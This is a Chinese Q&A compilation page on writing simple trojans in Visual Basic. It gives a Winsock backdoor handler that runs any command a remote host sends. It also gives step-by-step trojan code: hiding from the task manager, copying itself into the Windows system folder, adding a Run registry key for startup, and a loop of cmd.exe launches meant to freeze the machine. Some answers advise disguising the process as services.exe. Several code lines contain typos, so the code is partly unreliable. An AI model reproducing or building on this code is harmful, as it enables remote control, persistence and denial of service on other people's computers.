vb程序简单的木马病毒（编程木马病毒）
本文目录一览：
VB能写木马类的软件吗？
可以的，下面就是一个木马的部分代码：
Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)
Dim strdata As String
Dim check_blong
on error gogo err_pro
tcpserver(index).GetData strdata
check_blong = InStr(Trim(strdata), "Exec")
If check_blong 0 Then
strdata = Trim(strdata)
strdata = Right(strdata.Len(strdata) - 4)
Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序：" + strdata
Shell (strdata)
Else
check_blong = InStr(Trim(strdata), "closeOk")
If check_blong 0 Then
tcpserver(index).Close
combol_IP.removeltem (index - 1)
content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开！"
Else
ipname.Text = tcpserver(index).RemoteHostIP
txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata
End If
End Sub
不要使坏哟，主要的不给。
用VB怎么做木马程序？
第一种模防windows进程名,services.exe 这样他中止不了,然后看让你的木马操作了,一般都假装系统进程,然后在后台开避一个监听端口,等待客户机远程联接,这里面用Winstock编程,等到连接成功后,客户机就可以发指令了.然后执行,如果没有VB运行库的话,首先将程序打包,然后把所需的文件提出来,用Winrar压缩成.exe就可以了.QQ:905906
用VB怎么制作简单的木马视频
打开VB---
第一步，隐藏一下我们的小东西！
把Visible 设为False，这样打开程序，在桌面会看不到。
加入代码
App.TaskVisible = False
这样就在任务管理器中隐藏了。
第二步，写入自我复制代码
Dim f As String
f = App.Path "\" App.EXEName ".exe"
d = "C:\WINDOWS\SYSTEM\bo.exe" '这个bo.exe大家可以改下名，随便改。
FileCopy f, d
第三步，实现开机启动。
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\bo.exe" 'bo.exe要与上面相吻合。
加入这些代码就在注册表内让开机启动C:\WINDOWS\SYSTEM\bo.exe了，呵呵
第四步 让机器死机
Do
shell "cmd.exe"
loop
用vb怎么编写木马程序?
我觉得吧想编写木马首先要对系统有一定的了解，VB编写木马的话基本都是调用API函数，去实现你想要的功能。比如关机，获取用户名称等等……现在网上有很多简单的木马程序。你可以搜索下，自己去看看。
之前我用Winsock控件编写过个简单的，有兴趣的话，回复我，我发给你参考下
